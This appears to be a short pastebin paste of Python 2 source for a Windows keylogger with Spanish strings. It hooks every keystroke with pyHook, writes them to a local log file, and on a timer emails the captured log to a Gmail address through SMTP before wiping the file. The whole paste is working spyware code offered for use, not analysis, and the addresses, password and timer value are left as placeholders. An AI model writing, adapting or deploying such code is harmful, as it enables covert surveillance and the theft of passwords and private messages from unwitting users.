· 9 years ago · Nov 09, 2016, 09:10 AM
1import pyHook, pythoncom, sys, logging
2import time, datetime
3
4wait_seconds = x
5timeout = time.time() + wait_seconds
6file_log = 'directorio del archivo .txt (ejemplo -> C:/data/data.txt'
7
8def TimeOut():
9 if time.time() > timeout:
10 return True
11 else:
12 return False
13
14def SendEmail(user, pwd, recipient, subject, body):
15 import smtplib
16
17 gmail_user= user
18 gmail_pass = pwd
19 FROM = user
20 TO = recipient if type(recipient) is list else [recipient]
21 SUBJECT = subject
22 TEXT = body
23
24 message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
25 """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
26 try:
27 server = smtplib.SMTP("smtp.gmail.com", 587)
28 server.ehlo()
29 server.starttls()
30 server.login(gmail_user, gmail_pass)
31 server.sendmail(FROM, TO, message)
32 server.close()
33 print 'Correo enviado satisfactoriamente!'
34 except:
35 print 'Error al mandar correo!'
36
37def FormatAndSendLogEmail():
38 with open(file_log, 'r+') as f:
39 actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
40 data = f.read().replace('\n', '')
41 data = 'Log capturado a las: '+ actualdate + '\n' + data
42 SendEmail('@gmail.com', 'contraseña', '@gmail.com',
43 'Nuevo log - '+actualdate, data)
44 f.seek(0)
45 f.truncate()
46
47def OnKeyboardEvent(event):
48 logging.basicConfig(filename=file_log, level=logging.DEBUG,
49 format = '%(message)s')
50 logging.log(10, chr(event.Ascii))
51 return True
52
53hooks_manager = pyHook.HookManager()
54hooks_manager.KeyDown = OnKeyboardEvent
55hooks_manager.HookKeyboard()
56
57while True:
58 if TimeOut():
59 FormatAndSendLogEmail()
60 timeout = time.time() + wait_seconds
61
62 pythoncom.PumpWaitingMessages()